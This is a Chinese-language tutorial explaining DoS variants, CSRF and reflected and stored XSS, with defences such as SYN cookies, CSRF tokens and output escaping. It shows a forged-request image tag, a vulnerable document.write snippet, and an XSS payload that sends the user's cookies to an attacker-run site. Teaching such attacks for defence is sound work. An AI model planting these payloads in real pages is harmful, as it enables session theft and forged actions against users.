常見的Web安全問題有DoS攻擊、CSRF攻擊、XSS漏洞等。本文將簡單介紹一下這幾種常見的工具方式。
DoS攻擊
DoS(Denial of Service),拒絕服務,顧名思義這種攻擊是爲了讓服務器無法提供正常服務,最常見的DoS攻擊是網絡帶寬攻擊和連通性攻擊。帶寬攻擊指以極大的通信量衝擊網絡,使得所有可用網絡資源都被消耗殆盡,最後導致合法的用戶請求無法通過。連通性攻擊指用大量的連接請求衝擊計算機,使得所有可用的操作系統資源都被消耗殆盡,最終計算機無法再處理合法用戶的請求。
可以看出來,DoS攻擊本身也受網絡規模和網絡速度的限制,單個計算機沒辦法做到攻破一臺服務器,所以DoS攻擊者開發了分佈式攻擊DDoS(Distributed Denial of Service),集合許多計算機的帶寬來同時對一臺服務器發動攻擊。下面我們來看三種典型的DoS攻擊:SYN洪水攻擊、IP欺騙和Land攻擊。
SYN洪水攻擊
SYN洪水攻擊是利用TCP協議的缺陷,通過發送大量的半連接請求消耗資源,造成網絡擁塞甚至宕機以達到攻擊者不可告人的祕密。
我們都知道標準的TCP連接需要經過三次握手,首先是客戶端發送SYN,服務端收到後發送ACK-SYN,客戶端收到後再回復ACK連接建立成功。黑客針對TCP協議棧在兩臺主機間初始化連接握手的過程進行攻擊,黑客通過包裝第三次握手的ACK包使得服務端不能收到客正確的戶端ACK包。而由於TCP協議具有超時重傳機制,服務端會一直重傳直到超時。這些虛假連接會一直佔用緩衝區,正常的請求被丟棄,引起嚴重的網絡阻塞甚至系統癱瘓。
IP欺騙
這種攻擊同樣是利用TCP協議棧的漏洞,我們知道TCP協議有一個RST位用於連接出錯時的復位。這種攻擊利用IP欺騙,使得服務器將合法的用戶連接復位,影響正常用戶的使用。比如說現在有一個合法連接(172.111.222.123),攻擊者構造一個TCP數據報,僞裝自己的IP是172.111.222.123,並向服務器發送一個帶RST位的數據報。服務器接收到後會認爲該連接發生錯誤,將該連接從緩衝區中移除,所以正常用戶只能重新發起連接。
Land攻擊
進行Land攻擊時,黑客特別打造一個源地址和目標地址都被設置成某一個服務器的SYN包,此舉將導致接受服務器向它自己的地址發送SYN-ACK消息,結果這個地址又發回ACK消息並創建一個空連接,每一個這樣的連接都將保留直到超時。大量的連接將嚴重影響服務器性能。
針對DoS攻擊的防禦,我們面對DoS攻擊是否是束手無策呢?當然不是,我們可以做以下防範:
- 縮短SYN超時時間,以減少緩衝區中保留的半連接個數。
- 限制同時打開的半連接個數,當半連接個數已經達到上限時,後面未成功的TCP連接將被丟棄而不會保存在緩衝區中。
- 設置SYN Cookie,就是給每一個請求連接的IP地址分配一個Cookie,如果短時間內連續受到某個IP的重複SYN報文,就認定是受到了攻擊,以後從這個IP地址來的包會被一概丟棄。
一般來說,第三種方法在防範該類問題上表現更佳。同時可以在Web服務器端採用分佈式組網、負載均衡、提升系統容量等可靠性措施,增強總體服務能力。
CSRF攻擊
CSRF(Cross Site Request Forgery)攻擊,即跨站請求僞造,是一種常見的Web攻擊。
攻擊者可以盜用我們的登陸信息,以我們的身份模擬發送各種請求。例如:我們正常打開一個網站,輸入賬號密碼登陸,此時服務器會返回一個cookie,瀏覽器將其保存在本地來識別身份信息。這時如果我們不小心打開了一個釣魚網站,這個釣魚網站就可以帶着cookie冒充我們爲所欲爲。歸根結底是源於Web的隱式身份驗證,Web的身份驗證機制雖然可以保證一個請求是來自於某個用戶的瀏覽器,但卻無法保證該請求是用戶批准發送的。
再例如:我在某個博客網站上發佈了一篇文章,文章有這麼一段內容:
<img style="width:0;" src="http://www.xxx.com/FollowBlogger?UserId=admin"/>
假設說/FollowBlogger?UserId=是這個網站的關注的接口並且我的ID是admin,那麼每個點開這篇文章的人都會自動的關注我的博客。這也是因爲用戶在打開這個網站的同時,本地保存了用戶的cookie,而這個被我植入僞造請求的網站打開後會自動攜帶cookie發送僞造的請求。
通過上述描述我們可以看出CSRF攻擊的發生有三個必要條件:
- 已經登錄一個站點,並在本地保存下cookie。
- 在沒有退出剛剛站點的情況下,打開了某第三方釣魚網站或網站本身存在問題。
- 原站點沒有CSRF防護
我們可以看到,前兩個條件我們很難完全杜絕,所以爲了保證安全,網站必須有必要的CSRF防護機制。我們已經知道CSRF攻擊的原理是僞造用戶請求,所以我們防護的時候就要從這裏出發,試想如果我們的請求裏有黑客僞造不出來的東西那就可以杜絕這種攻擊方式了。下面給出幾種防護方法:
- 對於POST請求使用驗證碼,這個方案可以完全杜絕CSRF攻擊,但驗證碼過多會使用戶體驗很差,所以可以對敏感操作加驗證碼。
- 非GET請求中添加token,當客戶端請求頁面,服務器渲染頁面時給每個表單生成一個隨機數token,並且將token放置到session當中,然後將token發給客戶端(一般通過構造hidden表單)。下次客戶端提交請求時,token會隨着表單一起提交到服務器端。接收到請求後,服務器端會對token值進行驗證,判斷是否和session中的token值相等,如果不相等則拒絕訪問。
CSRF的防禦可以根據應用場景的不同自行選擇。CSRF的防禦工作確實會在正常業務邏輯的基礎上帶來很多額外的開發量,但是這種工作量是值得的,畢竟用戶隱私以及財產安全是產品最基礎的根本。
XSS漏洞
XSS(Cross Site Scripting),跨站腳本攻擊,爲了與層疊樣式表(一般意義上的CSS)區別開,將其縮寫爲XSS。XSS的原理是黑客向Web頁面裏插入惡意可執行網頁腳本代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的腳本代碼會被執行,從而可以達到黑客盜取用戶信息或其他侵犯用戶安全隱私的目的。XSS漏洞主要分爲持久型XSS漏洞和非持久性XSS漏洞。
非持久型XSS漏洞
<script>
document.write(location.href.substring(location.href.indexOf('default=') + 8));
</script>
這段代碼的用意是用url裏default參數來渲染頁面,也就是將dafault參數的值加載進頁面裏。這樣就帶來一個問題,不管default的值是什麼,哪怕是一段包裹在script標籤裏的js代碼也會被加載並執行。在這樣的情況下,黑客可以精心設計一個誘導用戶點擊的url,例如:http://www.a.com?content=<script>window.open("www.b.com?param="+document.cookie)</script>,一旦用戶點擊瀏覽器就會直接打開b.com,並且把用戶的cookie信息發送到b.com,b.com是我搭建的網站,當我的網站接收到該信息時,我就盜取了用戶的cookie信息。
非持久性XSS漏洞主要有以下幾個特點:
- 不經過服務器儲存
- 黑客需要誘導用戶點擊惡意url
- 反饋率低,難以發現和修復
爲了防止出現非持久性XSS漏洞,必須確保以下幾點:
- 儘量不要從URL,document.referrer,document.forms 等這種DOM API中獲取數據直接渲染。
- 儘量不要使用 eval, document.write(),document.writeln(), innerHTML,document.creteElement()等可執行字符串的方法。
- 對涉及DOM渲染的方法傳入的字符串參數做轉義(破壞html語法,使得展示字符而不是執行代碼)。
- 必要的話,前端渲染的時候對任何的字段都需要做轉義編碼。
持久型XSS漏洞
持久型XSS漏洞一般存在於form表單提交等交互功能,如發帖、留言、提交文本信息等,黑客利用的XSS漏洞,將內容經正常功能提交進入數據庫持久保存,當前端頁面獲得後端從數據庫中讀出的注入代碼時,恰好將其渲染執行。例如:我在某博客網站上發文章,文章包括一段可執行的代碼<script>window.open("www.b.com?param="+document.cookie)</script>,這樣一來所有打開這篇文章的人的cookie信息都會被髮送到b.com上。
持久性XSS漏洞被攻擊有以下幾個必要條件:
- POST請求提交表單後端沒做轉義直接入庫
- 後端從數據庫中取出數據沒做轉義直接輸出給前端
- 前端拿到後端數據沒做轉義直接渲染頁面
防止出現持久性XSS漏洞,需要前後端的配合,要做到以下幾點:
- 後端在數據入庫時,不能相信任何前端數據,將所有的字段統一進行轉義處理。
- 後端對返回給前端的數據統一進行轉義處理。
- 前端在渲染頁面的時候不能相信任何後端數據,任何字段都需要做轉義處理。
轉義操作可以手動編寫js函數進行轉義,也可以藉助開源工具包轉義。
總之,上面提到的幾種攻擊方式中,XSS攻擊關鍵是腳本,利用惡意腳本發起攻擊,DOS攻擊關鍵是發出大量請求,最後令服務器崩潰,CSRF攻擊關鍵是藉助本地cookie進行認證,僞造發送請求。